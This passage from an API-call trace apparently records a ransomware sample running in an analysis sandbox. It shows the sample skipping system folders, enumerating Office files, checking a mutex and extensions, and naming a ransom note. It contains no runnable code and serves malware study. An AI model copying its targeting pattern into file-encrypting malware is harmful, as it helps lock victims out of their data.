nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.568] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.568] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.568] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.568] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.568] GlobalLock (hMem=0x440004) returned 0x551178 [0047.568] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.568] GlobalUnlock (hMem=0x440004) returned 0 [0047.568] GlobalLock (hMem=0x440004) returned 0x551178 [0047.568] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.568] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.568] GlobalUnlock (hMem=0x440004) returned 0 [0047.568] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.568] GlobalUnlock (hMem=0x44000c) returned 0 [0047.568] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0047.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0047.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0047.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0047.570] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.570] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.570] GlobalUnlock (hMem=0x44000c) returned 0 [0047.570] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.570] GlobalLock (hMem=0x440004) returned 0x553188 [0047.570] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.570] GlobalUnlock (hMem=0x44000c) returned 0 [0047.570] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.570] GlobalUnlock (hMem=0x440004) returned 0 [0047.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.571] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.571] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0047.571] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0047.571] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0047.571] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0047.571] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0047.572] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.572] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.572] GlobalLock (hMem=0x440004) returned 0x552180 [0047.572] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.572] GlobalUnlock (hMem=0x440004) returned 0 [0047.572] GlobalLock (hMem=0x440004) returned 0x552180 [0047.572] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.572] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.572] GlobalUnlock (hMem=0x440004) returned 0 [0047.572] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.572] GlobalUnlock (hMem=0x44000c) returned 0 [0047.572] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.572] CharLowerBuffW (in: lpsz="ODeploy.exe", cchLength=0xb | out: lpsz="odeploy.exe") returned 0xb [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", cchWideChar=91, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpUsedDefaultChar=0x0) returned 91 [0047.573] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0047.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpUsedDefaultChar=0x0) returned 4 [0047.573] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0047.573] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0047.573] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0047.573] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0047.573] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0047.573] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.573] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.573] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.573] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.573] GlobalUnlock (hMem=0x44000c) returned 0 [0047.573] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.573] GlobalLock (hMem=0x440004) returned 0x554190 [0047.573] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.573] GlobalUnlock (hMem=0x44000c) returned 0 [0047.573] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.573] GlobalUnlock (hMem=0x440004) returned 0 [0047.573] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.574] CharLowerBuffW (in: lpsz="OSETUP.DLL", cchLength=0xa | out: lpsz="osetup.dll") returned 0xa [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", cchWideChar=90, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLLl", lpUsedDefaultChar=0x0) returned 90 [0047.574] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\Office Setup Controller\\OSETUP.DLLl", lpUsedDefaultChar=0x0) returned 4 [0047.574] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0047.574] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.574] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.574] GlobalLock (hMem=0x440004) returned 0x552180 [0047.574] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.574] GlobalUnlock (hMem=0x440004) returned 0 [0047.574] GlobalLock (hMem=0x440004) returned 0x552180 [0047.574] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.574] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.574] GlobalUnlock (hMem=0x440004) returned 0 [0047.575] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.575] GlobalUnlock (hMem=0x44000c) returned 0 [0047.575] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.575] CharLowerBuffW (in: lpsz="OSetupPS.dll", cchLength=0xc | out: lpsz="osetupps.dll") returned 0xc [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) 